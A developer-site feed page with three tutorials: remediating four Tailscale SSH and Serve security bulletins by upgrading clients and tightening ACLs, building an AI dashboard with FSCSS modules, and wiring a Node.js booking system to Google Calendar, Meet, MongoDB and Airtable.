Coder Legion - Recent posts tagged tutorial

Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate

Fri, 30 Oct 2026 03:58:00 +0000

Tailscale SSH is a popular feature in homelab setups because it lets you ditch traditional SSH key management entirely and lean on your Tailnet's identity model instead. That makes the recent security investigation and remediation update worth paying close attention to, even if your deployment is small.

Tailscale published an investigation and remediation update covering a vulnerability in the Tailscale SSH feature. The short version: under certain conditions, an already authorized Tailscale SSH session could perform actions beyond the permissions of its configured local user. Tailscale published four bulletins dated 26 October 2026, TS-2026-014 through TS-2026-017, and fixed all four in client version 1.104.4, released on 28 October 2026. No CVE identifiers were assigned. Tailscale is explicit that authentication and access policy checks were not what failed, so this is a privilege escalation after authorization, not an ACL bypass. This post breaks down what that means for a homelab operator and what you should do right now.

💡 Why This Matters for Homelab Users

Tailscale SSH is attractive precisely because it ties SSH authorization to your Tailnet ACLs. You define who can reach which machine and on which user, and Tailscale enforces it. In this case that authorization layer held: the tailnet policy file still gated which users could reach which machines, and an unauthenticated attacker could not connect to arbitrary Tailscale SSH servers. What failed was the privilege boundary enforced after a session was authorized, which is how an authorized user could reach root only Unix sockets through SSH forwarding.

Homelab deployments often have a mix of machines: NAS boxes, Proxmox hosts, Raspberry Pis, LXC containers. If Tailscale SSH is enabled broadly across those nodes, any privilege escalation in that path is a serious concern. Note the precondition that narrows it: TS-2026-014, the most serious of the four, only applies where your SSH access policy permits local or remote port forwarding. The good news is that Tailscale shipped the fix in 1.104.4 and the remediation steps are straightforward.

🧰 Prerequisites

Tailscale installed on your nodes (check tailscale version to confirm your current version)
Access to your Tailscale admin console at login.tailscale.com/admin
SSH or console access to each affected machine to run the upgrade
Familiarity with your distro's package manager (apt, yum, pacman, etc.)

🔍 What the Vulnerability Was

According to Tailscale's bulletins, there were four issues, not one. Two affect Tailscale SSH: TS-2026-014, where Unix socket forwarding could give peers access to root only sockets, and TS-2026-015, where an authenticated peer could drive unbounded memory growth in tailscaled and cause a denial of service. Two affect Tailscale Serve: TS-2026-016, where Serve Unix backends could reach privileged sockets including the tailscaled local API socket, and TS-2026-017, a race condition that could send Tailscale-App-Capabilities values from one mount to requests for another. None of them affect the core WireGuard tunnel or standard SSH setups that only use Tailscale for networking. Machines running the Tailscale SSH server, or using Serve with TLS and multiple mounts, were the ones at risk.

The attack surface required an authenticated Tailnet peer, so this was not an open internet exposure. That said, in a shared or multi-user Tailnet, or any environment where you do not fully control every peer, that distinction matters less than it sounds. Always treat a privilege escalation in an access control path as a serious issue regardless of the required preconditions.

For the exact technical details of the vulnerability, including the four bulletins TS-2026-014 through TS-2026-017 and the fixed version 1.104.4, see tailscale.com/security-bulletins and the write up at tailscale.com/blog/tailscale-ssh-findings-fixes. No CVE identifiers were assigned to these bulletins, so do not go looking for one. The investigation timeline is at tailscale.com/ssh-investigation-update. Tailscale's write-up is the authoritative source and may be updated as the investigation continues.

🛡️ Remediation Steps

The primary fix is upgrading the Tailscale client to the patched version on every node where Tailscale SSH is enabled. Do this on all machines in your Tailnet, not just the ones you think are "important."

Step 1: Check your current Tailscale version on each node.

tailscale version

Step 2: Update Tailscale using your distro's package manager. On Debian or Ubuntu-based systems:

sudo apt update && sudo apt install tailscale

On RPM-based systems (Fedora, Rocky, AlmaLinux):

sudo dnf upgrade tailscale

On Arch Linux:

sudo pacman -Syu tailscale

Step 3: Restart the Tailscale daemon after upgrading to make sure the new version is fully active.

sudo systemctl restart tailscaled

Step 4: Confirm the updated version is running.

tailscale version

You need 1.104.4 or newer on every node. Cross-reference the output against that before moving on.

Step 5: If you cannot immediately upgrade a node, Tailscale's own recommended mitigation is to disable SSH forwarding, not to disable Tailscale SSH. Set TS_SSH_DISABLE_FORWARDING=1 in the tailscaled service environment and restart the service. That addresses TS-2026-014, the most serious of the four, and it leaves Tailscale SSH working. Tailscale explicitly does not recommend disabling Tailscale SSH entirely. Also review your SSH access policy so only the users and devices that need access have it. If you nonetheless want to turn Tailscale SSH off on a node, the command is:

sudo tailscale set --ssh=false

This disables the Tailscale SSH feature on that node while leaving your normal Tailscale network connectivity intact. You can still reach the machine over your Tailnet and use traditional SSH on port 22 with your existing keys.

🔧 Audit Your ACL Policy While You Are At It

Incidents like this are a good forcing function to review your ACL policy in the admin console. A few things worth checking:

Are you granting Tailscale SSH access only to specific users and specific destination tags, rather than using wildcard rules?
Do you have checkPeriod set on your SSH rules, alongside a check action, so that re-authentication is required after a defined interval? The field is camelCase, it only applies to check actions, and the default is 12 hours.
Are there any old test rules or overly broad grants you added and forgot about?
Are your node tags accurate and not applied to machines they should not cover?

The principle of least privilege applies just as much to Tailscale ACLs as it does to anything else. Tighter rules mean a smaller blast radius if something like this happens again.

🔧 Troubleshooting

Tailscale is not in my distro's default repo. If you installed Tailscale from the official Tailscale repo (which is the recommended method), the apt or dnf commands above will pull from that repo automatically. If you installed it another way, check the Tailscale download page for your platform's update instructions.

I am running Tailscale in Docker. Pull the latest image tag from the official Tailscale Docker image and redeploy your container. Check the image's release notes or Tailscale's changelog to confirm the patched version is included before pulling.

I am running Tailscale on a Raspberry Pi or other ARM device. The standard package manager update commands work the same way on ARM. Confirm tailscale version reflects the patched release after upgrading.

Making the change persist. Preferences changed with tailscale set are stored in the node's state and survive a reboot. tailscale up behaves differently: its flags are not persisted between runs, so you must pass every flag you want on each invocation, which is exactly why tailscale set is the right command for flipping one preference. If you are applying the TS_SSH_DISABLE_FORWARDING=1 mitigation, put it in a systemd drop-in for tailscaled so the variable survives a restart.

✅ Wrap Up

Tailscale SSH is a genuinely useful feature that simplifies access management across a homelab. But convenience features that sit in the authentication path need to be kept patched and configured tightly. The remediation here is low friction: update the client, restart the daemon, verify the version.

If you cannot patch right now, set TS_SSH_DISABLE_FORWARDING=1 on tailscaled and tighten your SSH access policy to the users and devices that genuinely need it. That is Tailscale's own recommended interim state, and it keeps Tailscale SSH working rather than forcing you back onto key management. If you run headscale rather than Tailscale's coordination server, be aware that the related headscale issues were reported as still unpatched at the time of writing, so updating the client alone may not cover you. Once you are patched, take a few minutes to audit your ACL policy and tighten any rules that are broader than they need to be. That work pays dividends the next time something like this surfaces.

For the full technical disclosure and any updates to the investigation, keep an eye on tailscale.com/ssh-investigation-update.

Originally published at codewithromi.com.

Build an AI Ops Dashboard with FSCSS modules (ai-ui, st-core, circle-progress, overlapui)

Wed, 28 Oct 2026 15:40:56 +0000

A step by step tutorial for building a responsive AI dashboard with compiled FSCSS, pure CSS charts, progress rings, stacked avatars, and plain JavaScript. No framework, no build tool beyond the FSCSS CLI.

If you have ever built an AI product UI, you know the pattern. A sidebar, a chat column, a metrics panel, a streaming caret, some usage cards. It is a lot of CSS before you write a single line of product logic.

In this tutorial we build an AI Ops Console using four FSCSS modules, compile everything to one plain CSS file, and wire it up with a small vanilla JavaScript layer. No frameworks. No runtime preprocessor in the browser.

CodePen preview

What we are building

An AI Ops Console with a desktop layout (sidebar, chat, metrics panel) and a mobile layout (hamburger sidebar drawer, bottom sheet metrics panel at 960px and below).

Surface	Module
App shell, sidebar, messages, prompt, stream caret, thinking dots, usage cards, workflow nodes, tool chips, citations	ai-ui.fscss
Token burn area and line chart (clip-path, no SVG or canvas)	st-core@v2
GPU, Queue and Quota rings	circle-progress
Team avatar stack	overlapui
Mock agent replies, live chart nudges, mobile drawers	dashboard.js

The project is split into four files:

ai-dashboard/
├── dashboard.html      # markup only
├── dashboard.fscss     # all FSCSS + layout
├── dashboard.css       # compiled output (generated)
└── dashboard.js        # chat, drawers, chart updates

You compile once and ship plain CSS.

Prerequisites

Node.js 18 or newer (for the FSCSS CLI)
A modern browser
Optional: VS Code with the FSCSS Support extension

Install the compiler globally:

npm install -g fscss@1.2.6

You need FSCSS 1.2.6 or newer. ai-ui requires it, and st-core needs 1.2.3 or newer.

1. Project setup

mkdir ai-dashboard && cd ai-dashboard
touch dashboard.html dashboard.fscss dashboard.js

dashboard.css will be generated by the CLI in step 3.

2. dashboard.fscss: the styles source

This file imports the four modules, calls their helpers against your own class names, defines the chart series, and holds all layout and responsive rules.

/* dashboard.fscss
   AI Ops Dashboard: FSCSS source
   Compile:  fscss dashboard.fscss dashboard.css
*/

/* Modules (registry names; CLI + runtime resolve these) */
@import((*) from ai-ui)
@import((*) from st-core@v2)
@import((*) from circle-progress)
@import((*) from overlapui)

/* Theme + design tokens */
@ai-compose-dashboard()   /* ai-ui tokens + dashboard theme */
@st-root()                /* st-core chart tokens */
@progress-root()          /* circle-progress tokens */
@ou-root()                /* overlapui tokens */

/* ai-ui structure helpers */
@ai-shell(.ai-shell)
@ai-sidebar(.ai-sidebar)
@ai-main(.ai-main)
@ai-messages(.ai-messages)
@ai-message(.ai-message)
@ai-message-user(.ai-message-user)
@ai-message-assistant(.ai-message-assistant)
@ai-bubble(.ai-bubble)
@ai-avatar(.ai-avatar)
@ai-prompt(.ai-prompt)
@ai-prompt-box(.ai-prompt-box)
@ai-prompt-send(.ai-prompt-send)
@ai-stream(.ai-stream)
@ai-thinking(.ai-thinking)
@ai-usage(.ai-usage)
@ai-stat(.ai-stat)
@ai-workflow(.ai-workflow)
@ai-node(.ai-node)
@ai-edge(.ai-edge)
@ai-tools(.ai-tools)
@ai-tool-chip(.ai-tool-chip)
@ai-card(.ai-card)
@ai-divider(.ai-divider)
@ai-citations(.ai-citations)
@ai-citation(.ai-citation)

/* st-core linear chart */
@arr tokenSeries[32, 48, 55, 42, 68, 75, 61, 88, 72, 91, 84, 96]

@st-chart-fill(.chart-fill, tokenSeries)
@st-chart-line(.chart-line, tokenSeries)

.token-chart {
  @st-chart-points(tokenSeries)
  position: relative;
  height: 160px;
  width: 100%;
  background: var(--st-surface, #161422);
  border-radius: 12px;
  overflow: hidden;
}

/* circle-progress */
@circle-progress(.cp)
.cp-72 { @progress-range(72) }
.cp-48 { @progress-range(48) }
.cp-91 { @progress-range(91) }

.cp {
  --progress-size: 110px;
  --progress-stroke: 10px;
  --progress-color-bg: transparent;
  --progress-color-track: rgba(255, 255, 255, 0.08);
  --progress-color-arc: var(--ai-accent, #e879f9);
  --progress-color-glow: color-mix(in srgb, var(--ai-accent, #e879f9) 40%, transparent);
  --progress-color-value: var(--ai-text, #f5f3ff);
  --progress-color-label: var(--ai-text-muted, #a78bfa);
  font-size: 0.95rem;
  font-weight: 600;
}

/* overlapui avatars */
@avatar-overlap(.team-faces)
.team-faces {
  --ou-avatar-size: 36px;
  --ou-overlap: -12px;
  margin-block: 8px;
}

/* Base layout */
* { box-sizing: border-box; margin: 0; padding: 0; }

html, body {
  height: 100%;
  font-family: var(--ai-font, system-ui, -apple-system, sans-serif);
  background: var(--ai-bg, #0c0a12);
  color: var(--ai-text, #f5f3ff);
  -webkit-text-size-adjust: 100%;
}

.ai-shell {
  min-height: 100vh;
  min-height: 100dvh;
  height: 100vh;
  height: 100dvh;
  display: grid;
  grid-template-columns: var(--ai-sidebar-w, 240px) 1fr;
}

.ai-sidebar {
  display: flex;
  flex-direction: column;
  gap: 16px;
  padding: 20px 16px;
  overflow-y: auto;
  border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  background: var(--ai-bg, #0c0a12);
  z-index: 40;
}

.brand {
  display: flex;
  align-items: center;
  gap: 10px;
  font-weight: 700;
  font-size: 1.05rem;
  letter-spacing: -0.02em;
}
.brand-mark {
  width: 28px;
  height: 28px;
  border-radius: 8px;
  background: linear-gradient(135deg, var(--ai-accent, #e879f9), #818cf8);
  display: grid;
  place-items: center;
  font-size: 0.75rem;
  font-weight: 800;
  color: #0c0a12;
  flex-shrink: 0;
}

.nav {
  display: flex;
  flex-direction: column;
  gap: 4px;
}
.nav a {
  display: flex;
  align-items: center;
  gap: 10px;
  padding: 8px 12px;
  border-radius: 8px;
  color: var(--ai-text-muted, #a78bfa);
  text-decoration: none;
  font-size: 0.875rem;
  transition: background 0.15s, color 0.15s;
}
.nav a:hover,
.nav a.active {
  background: color-mix(in srgb, var(--ai-accent, #e879f9) 12%, transparent);
  color: var(--ai-text, #f5f3ff);
}

.side-section {
  display: flex;
  flex-direction: column;
  gap: 8px;
}
.side-section h3 {
  font-size: 0.7rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  color: var(--ai-text-muted, #a78bfa);
  font-weight: 600;
}

.cp-row {
  display: flex;
  justify-content: space-between;
  gap: 8px;
  flex-wrap: wrap;
}
.cp-item {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 4px;
  font-size: 0.7rem;
  color: var(--ai-text-muted, #a78bfa);
}

.ai-main {
  display: flex;
  flex-direction: column;
  min-height: 0;
  min-width: 0;
  overflow: hidden;
}

.topbar {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 12px 16px;
  border-bottom: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  gap: 10px;
  flex-wrap: wrap;
  flex-shrink: 0;
}
.topbar h1 {
  font-size: 1rem;
  font-weight: 600;
}
.topbar-actions {
  display: flex;
  gap: 8px;
  align-items: center;
  flex-wrap: wrap;
}
.chip {
  font-size: 0.75rem;
  padding: 4px 10px;
  border-radius: 999px;
  background: color-mix(in srgb, var(--ai-accent, #e879f9) 15%, transparent);
  color: var(--ai-accent, #e879f9);
  border: 1px solid color-mix(in srgb, var(--ai-accent, #e879f9) 30%, transparent);
  white-space: nowrap;
}

.workspace {
  flex: 1;
  display: grid;
  grid-template-columns: 1fr minmax(260px, 320px);
  min-height: 0;
  overflow: hidden;
}

.chat-col {
  display: flex;
  flex-direction: column;
  min-height: 0;
  min-width: 0;
  border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.06));
}

.ai-messages {
  flex: 1;
  overflow-y: auto;
  padding: 16px;
  display: flex;
  flex-direction: column;
  gap: 14px;
  -webkit-overflow-scrolling: touch;
}

.ai-prompt {
  padding: 12px 16px calc(16px + env(safe-area-inset-bottom, 0px));
  border-top: 1px solid var(--ai-border, rgba(255, 255, 255, 0.06));
  flex-shrink: 0;
}

.right-panel {
  display: flex;
  flex-direction: column;
  gap: 16px;
  padding: 16px;
  overflow-y: auto;
  background: color-mix(in srgb, var(--ai-surface, #12101a) 80%, transparent);
  -webkit-overflow-scrolling: touch;
}

.panel-card {
  background: var(--ai-card, #1a1625);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  border-radius: 12px;
  padding: 14px;
}
.panel-card h3 {
  font-size: 0.8rem;
  font-weight: 600;
  margin-bottom: 10px;
  color: var(--ai-text-muted, #a78bfa);
}

.ai-workflow {
  display: flex;
  align-items: center;
  gap: 6px;
  flex-wrap: wrap;
  font-size: 0.75rem;
}
.ai-node {
  padding: 6px 10px;
  border-radius: 6px;
  background: var(--ai-surface, #161422);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
}
.ai-node.is-active {
  border-color: var(--ai-accent, #e879f9);
  color: var(--ai-accent, #e879f9);
  box-shadow: 0 0 0 1px color-mix(in srgb, var(--ai-accent, #e879f9) 40%, transparent);
}
.ai-edge {
  width: 16px;
  height: 2px;
  background: var(--ai-border, rgba(255, 255, 255, 0.2));
}

.ai-usage {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 10px;
}
.ai-stat {
  background: var(--ai-surface, #161422);
  border-radius: 10px;
  padding: 10px 12px;
}
.ai-stat-label {
  display: block;
  font-size: 0.65rem;
  text-transform: uppercase;
  letter-spacing: 0.04em;
  color: var(--ai-text-muted, #a78bfa);
  margin-bottom: 4px;
}
.ai-stat-value {
  font-size: 1.15rem;
  font-weight: 700;
  letter-spacing: -0.02em;
}
.ai-stat-delta {
  font-size: 0.7rem;
  margin-left: 6px;
}
.ai-stat-delta.up { color: #4fffb0; }
.ai-stat-delta.down { color: #ff5e7d; }

.ai-tools {
  display: flex;
  flex-wrap: wrap;
  gap: 6px;
}
.ai-tool-chip {
  font-size: 0.7rem;
  padding: 4px 8px;
  border-radius: 6px;
  background: var(--ai-surface, #161422);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
}
.ai-tool-chip.is-done { border-color: #4fffb0; color: #4fffb0; }
.ai-tool-chip.is-running { border-color: var(--ai-accent, #e879f9); color: var(--ai-accent, #e879f9); }

.muted {
  color: var(--ai-text-muted, #a78bfa);
  font-size: 0.8rem;
}

/* Mobile controls (hidden on desktop) */
.menu-btn,
.panel-btn,
.sidebar-backdrop {
  display: none;
}

/* TABLET <= 960px */
@media (max-width: 960px) {
  .ai-shell {
    grid-template-columns: 1fr;
  }

  .ai-sidebar {
    position: fixed;
    inset: 0 auto 0 0;
    width: min(280px, 86vw);
    transform: translateX(-105%);
    transition: transform 0.25s ease;
    box-shadow: none;
    border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  }
  body.sidebar-open .ai-sidebar {
    transform: translateX(0);
    box-shadow: 8px 0 32px rgba(0, 0, 0, 0.45);
  }

  .sidebar-backdrop {
    display: block;
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.5);
    z-index: 35;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.25s ease;
  }
  body.sidebar-open .sidebar-backdrop {
    opacity: 1;
    pointer-events: auto;
  }

  .menu-btn,
  .panel-btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 36px;
    height: 36px;
    border-radius: 8px;
    border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.12));
    background: var(--ai-surface, #161422);
    color: var(--ai-text, #f5f3ff);
    cursor: pointer;
    font-size: 1.1rem;
    flex-shrink: 0;
    line-height: 1;
  }

  .topbar {
    padding: 10px 12px;
    gap: 8px;
  }
  .topbar h1 {
    font-size: 0.95rem;
    flex: 1;
    min-width: 0;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
  }
  .topbar-actions { gap: 6px; }
  .chip {
    font-size: 0.7rem;
    padding: 3px 8px;
  }
  #model-chip { display: none; }

  .workspace {
    grid-template-columns: 1fr;
    grid-template-rows: 1fr;
    position: relative;
  }
  .chat-col {
    border-right: none;
    min-height: 0;
  }

  .right-panel {
    position: fixed;
    inset: auto 0 0 0;
    max-height: min(72vh, 560px);
    border-radius: 16px 16px 0 0;
    border-top: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
    transform: translateY(110%);
    transition: transform 0.28s ease;
    z-index: 30;
    box-shadow: 0 -8px 32px rgba(0, 0, 0, 0.4);
    padding-bottom: calc(16px + env(safe-area-inset-bottom, 0px));
  }
  body.panel-open .right-panel {
    transform: translateY(0);
  }
  .right-panel::before {
    content: "";
    display: block;
    width: 36px;
    height: 4px;
    border-radius: 999px;
    background: rgba(255, 255, 255, 0.2);
    margin: 0 auto 10px;
  }

  .token-chart { height: 140px; }
  .cp {
    --progress-size: 88px;
    --progress-stroke: 8px;
    font-size: 0.85rem;
  }
}

/* PHONE <= 600px */
@media (max-width: 600px) {
  .ai-messages {
    padding: 12px;
    gap: 12px;
  }
  .ai-prompt {
    padding: 10px 12px calc(12px + env(safe-area-inset-bottom, 0px));
  }
  .ai-usage {
    grid-template-columns: 1fr 1fr;
    gap: 8px;
  }
  .ai-stat { padding: 8px 10px; }
  .ai-stat-value { font-size: 1rem; }

  .cp-row {
    justify-content: center;
    gap: 12px;
  }
  .cp {
    --progress-size: 76px;
    --progress-stroke: 7px;
    font-size: 0.8rem;
  }

  .panel-card { padding: 12px; }
  .ai-workflow { gap: 4px; }
  .ai-node {
    padding: 5px 8px;
    font-size: 0.7rem;
  }
  .ai-edge { width: 10px; }

  .team-faces {
    --ou-avatar-size: 32px;
    --ou-overlap: -10px;
  }
  .ai-bubble { font-size: 0.9rem; }
}

/* VERY NARROW <= 380px */
@media (max-width: 380px) {
  .ai-usage { grid-template-columns: 1fr; }
  .chip#btn-refresh {
    padding: 3px 6px;
    font-size: 0.65rem;
  }
}

Why this structure works

Import only registers @define helpers. Nothing paints until you call them.
Compose and root helpers write design tokens on :root (or a scope).
Selector-parameterized helpers such as @ai-shell(.ai-shell) and @st-chart-fill(.chart-fill, tokenSeries) attach rules to your own class names.
Plain CSS after that is normal layout, overrides and media queries.

Can also use remote URLs:

@import((*) from "https://cdn.jsdelivr.net/gh/fscss-ttr/ai-ui.fscss@main/ai-ui.fscss")
@import((*) from "https://cdn.jsdelivr.net/gh/fscss-ttr/st-core.fscss@main/st-core%40v2.fscss")
@import((*) from "https://cdn.jsdelivr.net/gh/fscss-ttr/FSCSS@main/xf/styles/circle-progress.fscss")
@import((*) from "https://cdn.jsdelivr.net/gh/fscss-ttr/FSCSS@main/xf/styles/overlapui.fscss")

3. Compile FSCSS to CSS

# one-shot
fscss dashboard.fscss dashboard.css

# watch (recompile on save), if your fscss build supports it
# fscss dashboard.fscss dashboard.css --watch

The compiler:

Expands every @import, @define and @arr into standard CSS
Emits custom properties (--st-p1 to --st-p12, --ai-*, --progress-* and so on)
Emits clip-path: polygon(...) for the chart fill and line
Leaves your media queries and plain CSS intact

Ship only dashboard.css to production. No runtime.min.js is needed on this path.

4. dashboard.html: the markup

Link the compiled stylesheet. There is no FSCSS runtime script.

See complete tutorial here: https://dev.to/fscss/build-an-ai-ops-dashboard-with-fscss-ai-ui-st-core-circle-progress-overlapui-59m5

Building a Booking System with Node.js, Google Calendar, and Google Meet

Tue, 27 Oct 2026 07:58:12 +0000

Introduction

Booking a consultation should be straightforward for the person making the appointment. Behind the scenes, however, an automated booking system has to coordinate several moving parts: collecting customer information, checking availability, scheduling an event, generating a meeting link, saving the booking, and notifying the people involved.

I encountered these challenges while developing the booking system for JOPAD Advisory. I built the system from scratch, using Node.js and Express for the backend, MongoDB for storing bookings, Google Calendar for scheduling, Google Meet for virtual meetings, and Resend for email notifications.

In this article, I'll walk through how I implemented the booking workflow, how the different services work together, and some of the engineering considerations that come with connecting external APIs to a backend application.

1. The Architecture

The backend coordinates the booking process. Each service has a specific responsibility:

Node.js and Express: Handle booking requests and coordinate the workflow.
MongoDB and Mongoose: Store booking details and provide access to existing appointments.
Google Calendar API: Create calendar events for scheduled sessions.
Google Meet: Generate a virtual meeting link through the Calendar event's conference configuration.
Airtable: Receive a secondary record of the booking.
Resend: Power the email notification workflow.

The booking process follows this sequence:

A customer submits a booking request through the website.
The Express endpoint validates the submitted fields.
The backend calculates the appointment's start and end times.
Existing bookings are checked for overlapping time intervals.
Google Calendar creates an event and requests a Google Meet conference.
The booking is saved to MongoDB with its meeting link.
The backend attempts to send a secondary record to Airtable.
Booking notification emails are triggered.

This design brings several services together behind a single booking endpoint, giving the frontend one place to submit the request.

2. Building the Booking Endpoint

I used an Express POST endpoint to receive booking requests. The request contains the appointment time, duration, customer's contact details, session description, and other booking information.

The first step is to reject incomplete requests before performing external API operations.

A simplified version of the validation looks like this:

router.post("/book", async (req, res) => {
  const {
    time,
    duration,
    email,
    firstName,
    lastName,
    description
  } = req.body;

  if (
    !time ||
    !duration ||
    !email ||
    !firstName ||
    !lastName ||
    !description
  ) {
    return res.status(400).json({
      message: "Missing required fields"
    });
  }

  // Continue with availability checks
  // and booking creation.
});

This is a simplified illustration of the validation logic in my implementation, not a complete replacement for the original endpoint.

The actual endpoint validates additional fields, including the selected date, day, time range, phone number, and referral information.

The important principle is to validate the data required by the booking workflow before creating external resources or writing records.

For a production system, request validation should also verify data types, valid email addresses, positive durations, valid dates, and acceptable appointment times. A field being present does not necessarily mean its value is valid.

3. Calculating Appointment Duration

A booking needs both a start time and an end time. The end time determines the appointment's actual interval and makes it possible to detect overlapping bookings.

In my implementation, the backend calculates the end time using the requested start time and duration:

const startTime = new Date(time);
const endTime = new Date(startTime);

endTime.setMinutes(
  endTime.getMinutes() + Number(duration)
);

For example, an appointment starting at 10:00 AM with a duration of 60 minutes should end at 11:00 AM.

Calculating the interval on the backend is important because scheduling decisions should not depend solely on values calculated by the browser.

It is also important to handle time zones consistently. My Google Calendar integration sends ISO-formatted timestamps to the API. A more comprehensive implementation should explicitly define the application's scheduling time zone and validate incoming timestamps to prevent ambiguity around local times and daylight-saving transitions.

4. Preventing Overlapping Bookings

One of the central problems in a booking system is preventing customers from selecting times that have already been reserved.

Two appointments overlap when the first appointment starts before the second one ends and finishes after the second one starts.

The logic can be expressed as:

const overlaps =
  requestedStart < existingEnd &&
  requestedEnd > existingStart;

This condition also allows back-to-back appointments. For example, a booking ending at 11:00 AM does not conflict with another booking beginning at exactly 11:00 AM.

In my implementation, I retrieve existing bookings from MongoDB, calculate each booking's end time from its start time and duration, and check for conflicts:

const existingBookings = await Booking.find();

const conflict = existingBookings.some(booking => {
  const existingStart = new Date(booking.startTime);
  const existingEnd = new Date(existingStart);

  existingEnd.setMinutes(
    existingEnd.getMinutes() +
      Number(booking.duration)
  );

  return (
    startTime < existingEnd &&
    endTime > existingStart
  );
});

if (conflict) {
  return res.status(409).json({
    message: "This time slot has already been booked"
  });
}`

Returning HTTP "409 Conflict" communicates that the request conflicts with an existing booking.

This approach is easy to understand, but it has a scalability limitation: the implementation loads all existing bookings before checking for an overlap. As the collection grows, a database query restricted to potentially overlapping intervals would be more efficient.

There is also an important concurrency consideration. Two requests can check availability at almost the same time, both find the slot free, and both continue. The check alone does not guarantee that simultaneous requests cannot create overlapping bookings.

A stronger production design would use an atomic reservation strategy, such as reserving discrete time slots with a unique database constraint or using another concurrency-control mechanism. That protection needs to be designed around the application's scheduling rules rather than relying only on an initial availability check.

5. Connecting Google Calendar and Google Meet

After the backend confirms that a requested slot does not conflict with an existing booking, it calls a dedicated utility function to create the meeting.

I separated this logic into a Google Calendar utility instead of placing the entire integration directly inside the Express route. This keeps the route focused on the booking workflow and makes the external integration easier to maintain.

Authenticating with Google

The utility initializes an OAuth 2.0 client using environment variables and sets a refresh token:

const { google } = require("googleapis");

const oauth2Client = new google.auth.OAuth2(
  process.env.GOOGLE_CLIENT_ID,
  process.env.GOOGLE_CLIENT_SECRET,
  process.env.GOOGLE_REDIRECT_URI
);

oauth2Client.setCredentials({
  refresh_token: process.env.GOOGLE_REFRESH_TOKEN
});

The example uses the conventional environment-variable spelling for the client secret. In the project, the environment variable is named "GOOGLE_CLIENT_SECRETE", so the deployed configuration must match the actual code unless that naming is corrected.

The refresh token allows the server-side client to obtain access tokens as needed without requiring the user to repeat the authorization flow for every booking.

This requires the initial OAuth authorization to have been completed successfully and the refresh token to remain valid. The Google account must also have the necessary permissions and configuration for creating Calendar events and conference links.

Credentials should be stored securely in environment variables or an appropriate secrets manager, never committed to a public repository.

Creating a Calendar event

The integration uses Google's Calendar API:

const calendar = google.calendar({
  version: "v3",
  auth: oauth2Client
});

The meeting function calculates the event's end time and constructs a Calendar event containing the session title, description, start and end timestamps, and attendee information.

The attendee is represented by the customer's email address:

attendees: [
  {
    email,
    responseStatus: "accepted"
  }
]

The event also includes settings that prevent guests from modifying the event, inviting other guests, or seeing other guests.

These settings are part of the event configuration; they do not replace proper authorization and access control in the booking application itself.

Requesting a Google Meet link

The event configuration includes a conference creation request:

conferenceData: {
  createRequest: {
    requestId: "jopad-" + Date.now(),
    conferenceSolutionKey: {
      type: "hangoutsMeet"
    }
  }
}

The event is then inserted into the primary Google Calendar:

const response = await calendar.events.insert({
  calendarId: "primary",
  resource: event,
  conferenceDataVersion: 1,
  sendUpdates: "all"
});

The "conferenceDataVersion: 1" option tells Google Calendar that conference data should be processed as part of the request. The "sendUpdates: "all"" option requests that Calendar send event updates to the relevant participants.

After the API call succeeds, the implementation extracts the meeting URL from the returned conference data:

const meetLink =
  response.data.conferenceData.entryPoints[0].uri;

return meetLink;

The booking route receives that link and includes it in the booking record.

One important implementation detail is that the code assumes the response contains a conference entry point. A more defensive implementation would verify that the response contains a usable Meet URL before continuing.

Google Calendar conference creation can also involve asynchronous processing. Production code should account for cases where the event exists but the conference details are not yet available, rather than assuming every successful event insertion immediately includes a meeting link.

6. Saving Bookings in MongoDB

Once the meeting link has been returned, the backend creates a Mongoose booking document.

The model stores information such as:

Appointment start time and duration.
Customer name and contact information.
Session description.
Date and time display values.
Referral information.
Google Meet link.
Record creation timestamp.

The central fields include:

const bookingSchema = new mongoose.Schema({
  startTime: {
    type: Date,
    required: true
  },
  duration: String,
  email: String,
  firstName: String,
  lastName: String,
  description: String,
  meetLink: String,
  createdAt: {
    type: Date,
    default: Date.now
  }
});

This is an excerpt of the schema; the complete project model contains additional fields.

After constructing the document, the route saves it:

await newBooking.save();

Saving the booking after generating the meeting link ensures that the returned booking record can contain the link associated with the created event.

However, the order of these operations creates an important failure scenario. If Google Calendar successfully creates the event but MongoDB subsequently fails to save the booking, a calendar event may remain without a corresponding booking record.

This is a common challenge when coordinating operations across independent services. A more resilient design could track workflow states, retry recoverable operations, and provide a reconciliation or cleanup process for partially completed bookings.

7. Adding an Airtable Backup

The system also attempts to send booking information to Airtable after saving the MongoDB document.

The request includes selected booking fields, such as the customer's name, email, phone number, session description, referral details, meeting link, and appointment date.

The operation is wrapped in its own "try...catch" block. If the Airtable request fails, the error is logged, but the main booking workflow can still continue.

This makes Airtable a secondary destination rather than the primary source of truth for the booking.

That distinction matters: the implementation attempts a backup write, but it does not guarantee that the MongoDB and Airtable records are always synchronized. If Airtable is unavailable, the backup attempt fails without automatically retrying it.

A more robust implementation could place failed backup operations into a retry queue or maintain a record of synchronization status.

8. Sending Booking Notifications

After the booking has been saved and the Airtable attempt has completed, the route triggers the email notification utility:

sendBookingEmails({
  email,
  firstName,
  lastName,
  dayString,
  referral,
  dateString,
  number,
  description,
  timeString,
  timeRange,
  meetLink
}).catch(err => {
  console.log("Email failed:", err.message);
});

The email operation is not awaited by the route. This allows the endpoint to return its successful booking response without waiting for the notification workflow to finish.

It also means an email failure does not change the response after the booking has been saved.

There is a trade-off: the current implementation logs email failures but does not automatically retry them or record a delivery status in the booking document. For a production booking service, a persistent background job or message queue would provide a stronger way to retry notifications and monitor delivery outcomes.

